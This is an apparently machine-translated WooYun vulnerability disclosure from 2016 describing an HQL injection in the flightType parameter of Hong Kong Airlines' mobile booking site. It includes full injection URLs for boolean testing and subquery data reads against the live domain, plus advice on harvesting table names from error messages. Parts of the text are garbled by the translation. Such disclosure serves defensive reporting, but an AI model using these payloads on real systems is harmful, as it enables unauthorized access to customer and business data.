漏洞标题 香港航空某处HQL注入 相关厂商 香港航空 漏洞作者 V1ct0r 提交时间 2016-05-04 19:53 公开时间 2016-06-20 16:20 漏洞类型 SQL注射漏洞 危害等级…
漏洞标题
香港航空某处HQL注入
相关制造商
香港航空
漏洞作者
V1ct0r
提交时间
2016-05-04 19: 53
公共时间
2016-06-20 16: 20
漏洞类型
SQL注入漏洞
危险等级
在
自我评估等级
8
漏洞状态
制造商已确认
标签标签
HQL
漏洞详细信息
有一篇关于HQL注入Drops的文章:http://drops.wooyun.org/tips/748
一个HQL案例:WooYun:优秀的大学HQL注入
问题发生在香港航空的移动版本:https://m.hongkongairlines.com/
https://m.hongkongairlines.com/ci/index.php/special_ticket/recommend?classType=&ctoke=5dbb73a5f433f29015f1405a6a9ef8ec_EN&dstCity=&email=&flightType=1%27%22&lang=EN&orgCity=&protocalnum=&安培; returnDate=安培; takeoffDate=安培; TRIPTYPE=

根据错误消息,可能有HQL注入。注入点位于:flightType
施工测试:
https://m.hongkongairlines.com/ci/index.php/special_ticket/recommend?classType=&ctoke=5dbb73a5f433f29015f1405a6a9ef8ec_EN&dstCity=&email=&flightType=1%27%0Aand%0A%271%27%3E%270& ;朗=EN&安培; orgCity=安培; protocalnum=安培; returnDate=安培; takeoffDate=安培; TRIPTYPE=

https://m.hongkongairlines.com/ci/index.php/special_ticket/recommend?classType=&ctoke=5dbb73a5f433f29015f1405a6a9ef8ec_EN&dstCity=&email=&flightType=1%27%0Aand%0A%271%27%3E%275& ;朗=EN&安培; orgCity=安培; protocalnum=安培; returnDate=安培; takeoffDate=安培; TRIPTYPE=

存在可验证的注射。
首先,我们可以参考:WooYun:优秀的大学HQL注入来获取用户信息。
从上一条错误消息中,您可以知道当前表的名称:
***。***。***。aio.flight.model.FpRecommendFlight
然后你可以读取当前表的数据:
https://m.hongkongairlines.com/ci/index.php/special_ticket/recommend?classType=&ctoke=5dbb73a5f433f29015f1405a6a9ef8ec_EN&dstCity=&email=&flightType=1%27%0Aand%0A(select%0Acount(id)%% 0Afrom%0A *** *** *** aio.flight.model.FpRecommendFlight%0Awhere%0Arownum%3C10)%3E0%0Aand%0A%271%27%3E%270安培;郎=EN&安培; orgCity=&安培; protocalnum=安培; returnDate=安培; takeoffDate=安培; TRIPTYPE=

使用来自其他地方的错误消息,我们还得到了另一个表的名称:
***。***。***。aio.common.model.MContent
可以如上阅读..
但是如何获得其他表名?尾部大师告诉我:
它可能会将表的操作放在Model层中,因此不仅需要查找表名而且还要查找相应的Model名。
换句话说,我们只有其他方式来获得更多相应的名称(例如此处的错误消息)
我认为这真的很无味,但在某些特殊情况下,例如当前的表恰好有我们想要得到的信息或敏感信息,它仍然会更有用。
漏洞证明:
如上
修理计划:
过滤
版权声明:请注明来源V1ct0r @乌云